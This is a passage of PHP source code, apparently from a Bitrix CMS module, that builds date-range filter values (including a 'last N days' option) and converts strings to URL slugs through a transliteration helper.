&& isset($arAddFilter[$addField.'_from_FILTER_DIRECTION']) && in_array($arAddFilter[$addField.'from_FILTER_PERIOD'], array('previous', 'current', 'next')))
{}*/
if($arAddFilter[$addField.'_from_FILTER_PERIOD']=='last_days'
&& isset($arAddFilter[$addField.'_from_FILTER_LAST_DAYS']) && strlen(trim($arAddFilter[$addField.'_from_FILTER_LAST_DAYS'])) > 0)
{
$days = (int)trim($arAddFilter[$addField.'_from_FILTER_LAST_DAYS']);
$arFilter[$field1] = $arAddFilter[$addField.'_from'] = ConvertTimeStamp(time()-$days*24*60*60, "FULL");
}
else
{
if(!empty($arAddFilter[$addField.'_from'])) $arFilter[$field1] = $arAddFilter[$addField.'_from'];
if(!empty($arAddFilter[$addField.'_to'])) $arFilter[$field2] = CIBlock::isShortDate($arAddFilter[$addField.'_to'])? ConvertTimeStamp(AddTime(MakeTimeStamp($arAddFilter[$addField.'_to']), 1, "D"), "FULL"): $arAddFilter[$addField.'_to'];
}
}
public function Str2Url($string, $arParams=array())
{
if(!is_array($arParams)) $arParams = array();
if($arParams['TRANSLITERATION']=='Y')
{
if(isset($arParams['TRANS_LEN'])) $arParams['max_len'] = $arParams['TRANS_LEN'];
if(isset($arParams['TRANS_CASE'])) $arParams['change_case'] = $arParams['TRANS_CASE'];
if(isset($arParams['TRANS_SPACE'])) $arParams['replace_space'] = $arParams['TRANS_SPACE'];
if(isset($arParams['TRANS_OTHER'])) $arParams['replace_other'] = $arParams['TRANS_OTHER'];
if(isset($arParams['TRANS_EAT']) && $arParams['TRANS_EAT']=='N') $arParams['delete_repeat_replace'] = false;
}
return CUtil::translit($string, LANGUAGE_ID, $arParams);
}
}
?>